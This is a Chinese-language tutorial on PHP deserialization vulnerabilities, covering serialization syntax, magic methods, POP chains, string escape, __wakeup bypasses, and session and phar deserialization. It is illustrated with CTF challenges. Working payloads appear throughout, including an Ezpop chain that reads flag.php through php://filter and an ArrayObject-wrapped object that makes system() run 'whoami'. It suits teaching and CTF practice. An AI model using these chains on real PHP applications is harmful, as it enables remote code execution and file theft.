跳转至

反序列化漏洞

漏洞成因

在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的。

漏洞原理

在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。在Java中没有魔术方法,但是有反射(reflection)机制:在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行。

漏洞条件

  1. unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
  2. 脚本中定义了有Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如destruct()、unlink()
  3. 读写的内容需要有对象中的成员变量的值,比如filename

PHP反序列化

概念

这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦

序列化的目的是方便数据的传输和存储. json 是为了传递数据的方便性.

注:反序列化时可以修改

序列化/反序列化作用

PHP类与对象

序列化标识符

array →a

PHP
php > echo serialize(array());
a:0:{}
php > echo serialize(array(1,2));
a:2:{i:0;i:1;i:1;i:2;}

integer→i

PHP
php > echo serialize(14);
i:14;

boolean→b

PHP
php > echo serialize(true);
b:1;

double→d

PHP
php > echo serialize(1.1);
d:1.1;

class→o

PHP
php > class a{}
php > echo serialize(new a());
O:1:"a":0:{}
//解释一下,O表示对象,1表示对象名的字符串长度,'a'是对象名,0是对象内属性个数

string→s

PHP
php > echo serialize('a');
s:1:"a";

null→n

PHP
php > echo serialize(NULL);
N;

reference→r

PHP
<?php
echo "<pre>";
class SampleClass1
{}
class SampleClass
{
    public $value;
    public $test;
    public function __construct()
    {
        $this->value = new SampleClass1();
        $this->test = $this->value;
    }
}
$a = new SampleClass();
echo serialize($a);
?>
输出O:11:"SampleClass":2:{s:5:"value";O:12:"SampleClass1":0:{}s:4:"test";r:2;}
r:<number> number 的大小:
O:11:"SampleClass" 表示 1 
s:5:"value" 表示 2
r:2表示 s:5:"value" 的引用
注意,值的引用,也就是值的标识符中有R或r,则不计数,如果后面还有属性 比如
O:11:"SampleClass":2:{s:5:"value";O:12:"SampleClass1":0:{}s:4:"test";r:2;s:6:"value1";s:1:"a"}
s:6:"value1" 代表 3 
R和r同理

pointer reference→R

PHP
<?php
echo "<pre>";
class SampleClass1
{}
class SampleClass
{
    public $value;
    public $test;
    public function __construct()
    {
        $this->value = new SampleClass1();
        $this->test = &$this->value;
    }
}
$a = new SampleClass();
echo serialize($a);
// O:11:"SampleClass":2:{s:5:"value";O:12:"SampleClass1":0:{}s:4:"test";R:2;}
?>

custom object→C

PHP
// C:11:"ArrayObject":61:{x:i:0;a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}};m:a:0:{}}
$obj = new ArrayObject();
$obj->append(new c());
echo serialize($obj);

// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);

// C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplStack();
$obj->push(new c());
echo serialize($obj);

// C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplQueue();
$obj->enqueue(new c());
echo serialize($obj);

// C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplDoublyLinkedList();
$obj->push(new c());
echo serialize($obj);

可以绕过一些过滤序列化字符串中不能含有O,a等

encoded string→S

PHP
<?php
class test{
    public $value;
    function __construct(){

    }
}
echo serialize(new test);
$a='O:4:"test":1:{s:5:"value";S:1:"\61";}';
$a=unserialize($a);
var_dump($a);

结果 
O:4:"test":1:{s:5:"value";N;}
object(test)[2]
  public 'value' => string 'a' (length=1)

16进制编码,有时可以绕过一些限制

magic函数(魔术方法)

注:magic函数为自动调用

PHP反序列化学习

PHP
<?php
class Resume{
    var $school;
    var $level;
}
class User{
    var $name;
    var $age;
    var $height;
    var $resume;
}

$resume=new Resume();
$resume->school="i am yyf";
$resume->level=1;

$user=new User();
$user->name="yyf";
$user->age=18;
$user->height=15;
$user->resume=$resume;
echo serialize($user);

?>

输出如下

JSON
O:4:"User":4:{s:4:"name";s:3:"yyf";s:3:"age";i:18;s:6:"height";i:15;s:6:"resume";O:6:"Resume":2:{s:6:"school";s:8:"i am yyf";s:5:"level";i:1;}}
JSON
# 解释:
O:4:"User":4
# O代表为Object类型,4代表有四个属性,User表示类名为User
s:4:"name";s:3:"yyf";s:3:"age";i:18;s:6:"height";i:15;s:6:"resume";O:6:"Resume":2:{s:6:"school";s:8:"i am yyf";s:5:"level";i:1;}}
# s代表string类型,i代表int类型,o表示User类中嵌套了Resume类,其余类似

序列化后的内容只有成员变量,没有成员函数

请记住,序列化他只序列化属性,不序列化方法,这个性质就引出了两个非常重要的话题:

Public/Protected/Private

注:如果是受保护(protect修饰)和私有属性需要注意加修饰部分

Text Only
private:\x00类名\x00  -->变量名前加
protected:\x00*\x00 --> 变量名前加

示例:

PHP
<?php
    class FileHandler_X{
        public $op=2;
        public $filename="flag.php";
        public $content="123";
    }

    class FileHandler_Y{
        protected $op=2;
        protected $filename="flag.php";
        protected $content="123";
    }

    class FileHandler_Z{
        private $op=2;
        private $filename="flag.php";
        private $content="123";
    }

    echo serialize(new FileHandler_X());
    echo '<br/>';
    echo serialize(new FileHandler_Y());
    echo '<br/>';
    echo serialize(new FileHandler_Z());
?>
JSON
# public
O:13:"FileHandler_X":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"123";}
O:13:"FileHandler_Y":3:

# protected
{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:8:"flag.php";s:10:"\00*\00content";s:3:"123";}
O:13:"FileHandler_Z":3:

# private
{s:17:"\00FileHandler_Z\00op";i:2;s:23:"\00FileHandler_Z\00filename";s:8:"flag.php";s:22:"\00FileHandler_Z\00content";s:3:"123";}
  • public无标记,变量名不变,长度不变: s:2:"op";i:2;
  • protected在变量名前添加标记\00\00,长度+3: s:5:"\00\00op";i:2;**
  • private在变量名前添加标记\00(classname)\00,长度+2+类名长度: s:17:"\00FileHandler_Z\00op";i:2;

tricks

PHP
<?php
class Demo
{
    public $a = '123';
    private $b = 'test';
    protected $c = 'demo';

    function testdemo()
    {
        echo "this is demo class";
    }
}
var_dump(serialize(new Demo()));
$str = $_GET['test'];
// 输出缓存内容
echo $str;
var_dump(unserialize($str));

结果如下:

"O:4:"Demo":3:{s:1:"a";s:3:"123";s:7:"\000Demo\000b";s:4:"test";s:4:"\000*\000c";s:4:"demo";}*

" O:4:"Demo":3:{s:1:"a";s:3:"123";S:7:"\00Demo\00b";s:4:"test";S:4:"\00*\00c";s:4:"demo";}

class Demo#1 (3) { public $a => string(3) "123" private $b => string(4) "test" protected $c => string(4) "demo" }

可以看到var_dump(serialize(new Demo()));输出时显示\000表示此时是十六进制

表示字符类型的s大写时,会被当成16进制解析。
  • 所以我们如果要用\00这种形式,就必须要将相关的s改为S才能被反序列化
JSON
payload:test=O:4:"Demo":3:{s:1:"a";s:3:"123";S:7:"\00Demo\00b";s:4:"test";S:4:"\00*\00c";s:4:"demo";}

  • 当我们不使用大写S时,就必须使用%00而不能使用\00
JSON
payload:test=O:4:"Demo":3:{s:1:"a";s:3:"123";s:7:"%00Demo%00b";s:4:"test";s:4:"%00*%00c";s:4:"demo";}

PHP 7.1+ 对类属性不敏感
PHP
<?php
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;

 function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
    }

}
var_dump(unserialize($_GET['test']));
JSON
payload: test=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"test";}

可以看到我这里传入的字符串的属性是public的,但是他仍然反序列化成功了,同理将代码的protected属性改为private属性同样可以,效果就类似用public去覆盖了private和protected

可以看到public和正确的protected回显一样

漏洞存在前提

  1. 必须有 unserailize() 函数
  2. unserailize() 函数的参数必须可控(为了成功达到控制你输入的参数所实现的功能,可能需要绕过一些魔法函数

(1)我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在

这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。

(2)我们在反序列化攻击的时候也就是依托类属性进行攻击

因为没有序列化方法嘛,我们能控制的只有类的属性,因此**类属性就是我们唯一的攻击入口**,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击(这是我们攻击的核心思想,这里先借此机会抛出来,大家有一个印象)

常见魔术方式

魔术方法触发前提→反序列化的类中有对应的魔术方法。且该类要被调用

  1. __construct(),类的构造函数
  2. __destruct(),类的析构函数
  3. __call(),在对象中调用一个不可访问方法时调用
  4. __callStatic(),用静态方式中调用一个不可访问方法时调用
  5. __get(),获得一个类的成员变量时调用
  6. __set(),设置一个类的成员变量时调用
  7. __isset(),当对不可访问属性调用isset()或empty()时调用
  8. __unset(),当对不可访问属性调用unset()时被调用。
  9. __sleep(),执行serialize()时,先会调用这个函数
  10. __wakeup(),执行unserialize()时,先会调用这个函数
  11. __toString(),类被当成字符串时的回应方法
  12. __invoke(),调用函数的方式调用一个对象时的回应方法
  13. __set_state(),调用var_export()导出类时,此静态方法会被调用。
  14. __clone(),当对象复制完成时调用
  15. __autoload(),尝试加载未定义的类
  16. __debugInfo(),打印所需调试信息

__construct()

__destruct()

__sleep()

__wakeup()

方法应用

__call()

__callStatic()

__get()

__set()

__isset()

__unset()

__toString()

__invoke()

__clone()

魔术方式运行顺序

__construct() __destruct() __sleep() __wakeup() __call() __callStatic() __get()
构造器,实例化时触发 new结束/unserialize()后会触发 序列化之前触发 反序列化之前触发 当对象调用不存在的方法时触发 当调用一个不存在的属性时触发
__set() __isset() __unset() __toString() __invoke() __clone()
当给一个不存在的属性赋值时触发,返回赋的值 当对不可访问/不存在的属性用isset()/empty()时触发 当对不可访问/不存在的属性用unset()时触发 当对象被当作字符串使用时触发 当对象被当作函数使用时触发 当克隆当前对象时触发

POP链

前置知识

分析思路:

  1. 找到可利用漏洞点
  2. 向上找到哪里可以制造出这个点
  3. 分析怎样才能让它执行
  4. 可能需要绕过魔术方法

魔术方法触发规则

反序列的对象中必须要有对应魔术方法才能触发且该类必须被调用

例题示例

PHP
<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __tostring(){
        echo "tostring is here!!";
    }
}
$b = $_GET['benben'];
unserialize($b);
?> 
分析:

我们这里想要触发sec的toString方法 → 必须要调用sec类 → 如何调用 → 可以看到fast中wakeup方法echo $this->source → 这里可以触发toString方法 → 需要将source赋值为sec对象

PHP
payload:

<?php
class fast
{
    public $source;
}

class sec
{
    var $benben;
}
$a=new sec();
$b=new fast();
$b->source=$a;
echo serialize($b);
?>

pop链构造

原理:利用魔术方法的多次跳转来获取敏感数据

  • [MRCTF2020]Ezpop
PHP
Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

一点一点分析,首先这道题从魔术方法入手不是很现实,只能一个类一个类的分析了:

PHP
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

可以看到这里有个include,这很明显是个危险函数,在很多ctf题目中,我们都可以通过文件包含干点坏事,下面有个invoke魔术方法,当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。

从第一个类可以看出,我们要满足:

Text Only
$var=php://filter/read=convert.base64-encode/resource=flag.php
# base64加密一下,因为本题有过滤,过滤之后再用伪协议获得flag

然后再以调用函数的方式调用对象时自动触发_invoke方法,调append。这样将var定义为伪协议之后,就会以变量为$this->var的情况下调用append,触发文件包含。但问题是,我们该如何以调用函数的方式调用对象呢,看到第三个类:

PHP
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

__get()是一种魔术方法,在不可访问的属性中读取数据会触发。在_get(\(key)函数中,\)function=\(this->p,也就是成员变量p,此时会把\)function调用为\(function()函数,而\)p是我们可控的,这样就能满足调用_invoke的条件了。因此为了让属性\(p可以触发_invoke()魔术方法,我们必须将\)p赋值为Modifier类的对象。那么现在的问题又成为了如何触发_get()魔术方法了,用什么方式再不可访问的属性中读取数据呢,看到show这个类:

PHP
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

看到__toString(),这同样是个魔术方法,当类的对象被当作字符串操作时调用,如果这个魔术方法被调用,我们可以看到,它会return $this->str->source,也就是读取有str属性的source,但如果我们将str赋值为Test类的对象,这样它就没有source属性了,会调用_get()魔术方法。现在问题再度转移,如何调用_toString()魔术方法呢?看到wakeup()这里,wakeup()是反序列化时调用的,很好满足。如果这个函数调用,在if那一行里它会正则匹配source里有没有被过滤的字符,这时的source是作为字符串被操作的,显然可以调用_toString()函数,因此我们要将source的属性赋值为Show。

现在思路就很明显了,pop链为:

Text Only
unserialize() --> __wakeup() --> __toString() --> __get() --> __invoke() --> Modifier.append() --> include()

那么exp就是:

PHP
<?php
class Modifier
{
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show
{
        public $source;
        public $str;

        public function __construct($file)
       {
            $this->source = $file;
        }
        public function __toString()
        {
            return "";
        }
}
class Test
{
        public $p;
}

    $a = new Show('123');
    $a->str = new Test();
    $a->str->p = new Modifier();

    $b = new Show($a);
    echo urlencode(serialize($b));    
?>

注:实例化顺序为分析顺序,特别注意private和protected属性的序列化

字符串逃逸

反序列化时,成员属性个数和字符串字节数必须和属性/字符串对应,否则不能反序列化成功

反序化结束符为;},其后的内容与序列化后的内容无关,但出现这个符号不一定是结束符,要看前面对应的字节数

字符串减少类

例题

1.明确是增多还是减少

Text Only
flag/php-->hk
# 减少

2.明确关键序列化字符串

Text Only
$vip=true
s:3:"vip";b:1;} 

3.明确增多/减少的内容,计算长度

字符串增多

例题
PHP
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

1.明确是增多还是减少

Text Only
flag-->hack         不变
php-->hack          增多

明确为增多逃逸

2.明确逃逸的字符串

这里为pass=escaping

JSON
O:4:"test":2:{s:4:"user";s:4:"test**<u>";s:4:"pass";s:8:"escaping";} --> 逃逸部分

注:多逃逸双引号的原因是前面输什么字符串都可以闭合

3.明确增多多少个字符

逃逸部分为29个字符,一个php被替换可以增多一个字符→需要29个php

PHP
<?php

use test as GlobalTest;

class test{
    var $user;
    var $pass='escaping';
    function __construct($user){
        $this->user=$user;
    }
}
$str="";
for($i=0;$i<29;$i++)
{
    $str1="php";
    $str=$str.$str1;
}
echo serialize(new test($str));
?>

payload

JSON
?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

Weakup魔术方法绕过

cve-2016-7124

影响范围:

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。

比如攻防世界·unserialize3:

img

可以看到源码里有__wakeup(),它会在我们反序列化之前就exit(),终止我们反序列化的进程

如果我们的payload是:

PHP
<?php
class xctf{
public $flag = '111';
public function __wakeup(){

}
}
$a = new xctf();
print(serialize($a));
#O:4:"xctf":1:{s:4:"flag";s:3:"111";} 
?> 

img

毫无疑问的被exit(‘bad requets’)终止了。

但这个题的考点就是cve-2016-7124,所以我们可以利用cve-2016-7124进行绕过,将payload里ctf后面那个1改为2就行了,因为真实的属性其实只有一个,那就是那个flag,改为2之后对象属性个数的值就大于真实的属性个数了,因此可以绕过wakeup(),现在的payload是:

Text Only
O:4:"xctf":2:{s:4:"flag";s:3:"111";}

img

成功得到flag,不过符合这种要求的php版本都比较老了,感觉实战中很难出现。

引用利用方式

示例代码:

PHP
<?php
class test
{
    public $a;
    public $b;
    public function __construct()
    {
        $this->a = 'abc';
        $this->b = &$this->a;
        // 让b永远等于a
    }
    public function __destruct()
    {

        if ($this->a === $this->b) {
            echo 666;
        }
    }
}
echo serialize(new test());
?>

fast-destruct

引用一下大佬的解释:

  • 由于在php中,一个类的生命周期是这个页面所有代码执行完毕。我们可以理解为,每请求一次php的页面,就意味着我们想要从头执行一遍php代码渲染页面,在其中所用到的所有类都将在这个页面渲染结束后才会销毁,只有销毁的时候才会触发对应类的__destruct函数,一旦在运行过程中出现报错,或者代码终止,那么我们的反序列化漏洞将会利用不成功。今天介绍的这个技巧被称为fast destruct,便可以在unserialize函数执行完后,立即触发我们的poc,从而使得反序列化漏洞利用稳定性提高。

  • 获取反序列化字符串–>根据类型进行反序列化—>查表找到对应的反序列化类–>根据字符串判断元素个数–>new出新实例–>迭代解析化剩下的字符串–>判断是否具有魔法函数__wakeup并标记—>释放空间并判断是否具有具有标记—>开启调用。

根据上面的流程,我们可以发现,这个过程中是逐步对对象做解析的,而且解析过程中会同时去根据相应的魔法函数标记去调用魔法函数,所以说,即使完整的反序列化最终失败了,但在这个过程中涉及到的对象仍然是可以正常出发魔法函数的调用的。Fast destruct的目的就是让完整的反序列化失败,再利用unserialize运行失败后会对运行中已经创建出来类进行销毁这一特性,去提前触发对应类中的__destruct函数。

方法有两种,删除末尾的花括号、数组对象占用指针(改数字)

//正常payload:

Text Only
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;}

//删除末尾花括号payload:

Text Only
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;

//数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)

Text Only
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:**0**;s:4:“1234”;}

测试代码:

PHP
<?php
class Test
{
    public $flag = 'flag{}';
    function __wakeup()
    {
        $this->flag = 'fake flag';
        echo exit("hacker!,no");
    }

    function __destruct()
    {
        exit("success!" . $this->flag);
    }
}
$code = $_POST['code'];
$a = unserialize($code);

?>

可以看到有wakeup方法,而且wakeup会先执行,我们必须绕过这个wakeup,我们这里通过故意使反序列化失败来提前触发destruct方法

Text Only
payload:code=O:4:"Test":1:{s:4:"flag";s:13:"flag{you_win}";}

可以看到当反序列化正常时是wakeup先触发

Text Only
payload:code=O:4:"Test":1:{s:4:"";s:13:"flag{you_win}";}
这里我们故意把原来的flag字段属性删掉,使其反序列化失败

可以看到提前触发了destruct方法

__unserialize()魔术方法

Text Only
条件:PHP 7.4.0+

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则**只有 __unserialize() 方法会生效**,__wakeup()方法会被忽略。

其余GC回收机制利用

也叫 php issue#9618

版本条件:

  • 7.4.x -7.4.30
  • 8.0.x

属性键的长度不匹配:

//正常payload

Text Only
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}

//外部类属性**键**长度异常payload:

//**先**外类__destruct()**后**内类__wakeup()

Text Only
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:**6**:“Aend”;s:1:“1”;}

属性值的长度不匹配:

//正常payload

Text Only
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}

//外部类属性**值**长度异常payload:

//**先**外类__destruct()**后**内类__wakeup()

Text Only
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:**2**:“1”;}
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“**12**”;}

去掉内部类的分号:

  1. 这样内部类直接回收,外部类没事,可以直接不执行内部类的wakeup。
  2. 外部类去掉分号同理。
  3. 如果内部外部类的花括号紧贴,也可以在两个花括号中间加分号,可绕过内部类wakeup。

//正常payload

Text Only
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}

//去掉了内部类的分号的payload

Text Only
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N}s:3:“end”;s:2:“1”;}

注:使用前提是分号前面这个数据不可以是payload,否则将导致payload无法识别而被抛弃,如果它是一些无关紧要的数据,那就可以随便丢。

GC回收机制的总结

本质上,上面这些 对象的属性数量大于真实值、fast-destruct、其余GC回收机制利用 三个板块都是同一个东西同一个原理。

想要不执行wakup,就必须在有wakup魔术方法的那个类的结构进行破坏,可以采用**删除分号**或者**属性数量不一致**的方法。

在存在destruct且恶意方法在destruct情形下的链子,wakup是完全无效的,它不但可以被绕过,甚至可以不被执行

C代替O使用绕过

条件:

  • <7.1.33
Text Only
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

局限性:只能执行construct()和destruct()函数,无法添加任何内容

Text Only
code=C:4:"Test":1:{s:4:"flag";s:13:"flag{you_win}";}

ctfshow 愚人杯例题

PHP
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}


?>
<?php
class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

} 
$a=new ctfshow();
echo serialize($a);
#O:7:"ctfshow":0:{}

我们把O改成C传入C:7:”ctfshow”:0:{}可以看到网页显示bypass

img

但你只能这么传入,稍微改一点就没反应了,更别说向里面传值了,这里我们可以使用ArrayObject对正常的反序列化进行一次包装,让最后输出的payload以C开头(官方文档说:This class allows objects to work as arrays.)

PHP
<?php

class ctfshow {
    public $ctfshow;

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        echo "OK";
        system($this->ctfshow);
    }


}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
//unserialize($res)
?>
#C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}

最后成功命令执行

img

但我本地尝试的时候发现这种包装方法对php版本有要求,我用7.3.4才可以输出以C开头的payload,换7.4或者8.0输出的就是O开头了,除了这个函数还有其他方法可以对payload进行包装,具体可以参考[愚人杯3rd easy_php]:

实现了unserialize接口的大概率是C打头,经过所有测试发现可以用的类为:

  • ArrayObject::unserialize
  • ArrayIterator::unserialize
  • RecursiveArrayIterator::unserialize
  • SplObjectStorage::unserialize

其他的tricks

如果开发者在__wakeup()中做了一些防御,我们如何进行绕过__

PHP
public function __wakeup() {    

$this->formatters = []; 

} 

在__wakeup魔术方法中将利用链中需要用到的属性修改了,这样断了后面的利用链。作者的方法也比较巧妙,通过将\(this->formatters____设置反序列化中的“引用”类型。这样后面可以通过修改引用的方式间接修改\)this->formatters的值,绕过__wakeup中的限制。

我也因此想到了以前其他的一些案例,在0ctf 2021中有道PHP的题目在__wakeup函数中做了一些操作,想要断掉利用链,当时的代码如下: __

PHP
public function __wakeup() {    

throw new Exception(Revenge here!); 

} 

其实就是想要让PHP在反序列化时直接抛出异常。

但其实这个操作是没有太大意义的,因为实际在执行__wakeup的时候所有属性都已经完成反序列化了,此时抛出异常仍然会调用__destruct()方法继续执行利用链。 具体的细节可以参考这篇文章:https://igml.top/2021/09/28/2021-0CTF-FINAL/

再往前追,还有类似的案例吗? 在2016年时有一个漏洞,SugarCRM的一个对象注入漏洞。SugarCRM在反序列化的时候可谓是结合了上面说的两种防御方法,先清理了所有属性的值,又抛出了一个异常:

PHP
public function __wakeup() {
// clean all properties    
    foreach(get_object_vars($this) as $k => $v) {        
        $this->$k = null;    
    }
    throw new Exception(Not a serializable object);
}

但最后还是被ryat师傅利用内核漏洞干翻了,方法是,如果传入的序列化数据中声明的属性个数大于实际的属性个数,将导致退出正常执行,而忽略掉后面的__wakeup过程。具体原理可以看这里:PHP :: Sec Bug #72663 :: Create an Unexpected Obje...

Session反序列化漏洞

参考:带你走进PHP session反序列化漏洞 - 先知社区 (aliyun.com)

session_start函数

session_start — 启动新会话或者重用现有会话

说明

Text Only
session_start(array `$options` = []): bool

session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话处理程序的 open 和 read 回调函数。 会话处理程序可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话处理程序。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。

当session_start函数被调用时,就会自动触发session的序列化/反序列化

要想使用命名会话,请在调用 session_start() 函数 之前调用 session_name() 函数。

如果启用了 session.use_trans_sid 选项, session_start() 函数会注册一个内部输出处理程序, 该输出处理程序完成 URL 重写的工作。

如果用户联合使用 ob_start() 和 ob_gzhandler 函数, 那么函数的调用顺序会影响输出结果。 例如,必须在开始会话之前调用ob_gzhandler 函数完成注册。

参数

  • options

此参数是一个关联数组,如果提供,那么会用其中的项目覆盖 会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。除了常规的会话配置指示项, 还可以在此数组中包含 read_and_close 选项。如果将此选项的值设置为 true, 那么会话文件会在读取完毕之后马上关闭, 因此,可以在会话数据没有变动的时候,避免不必要的文件锁。

返回值

成功开始会话返回 true ,反之返回 false

Phar反序列化漏洞

来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。 这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。

phar原理

a stub

可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

官方手册

phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar.php:

PHP
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

访问后,会生成一个phar.phar在当前目录下。

用winhex打开

可以明显的看到meta-data是以序列化的形式存储的。

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序

列化,测试后受影响的函数如下:

phar_fan.php

PHP
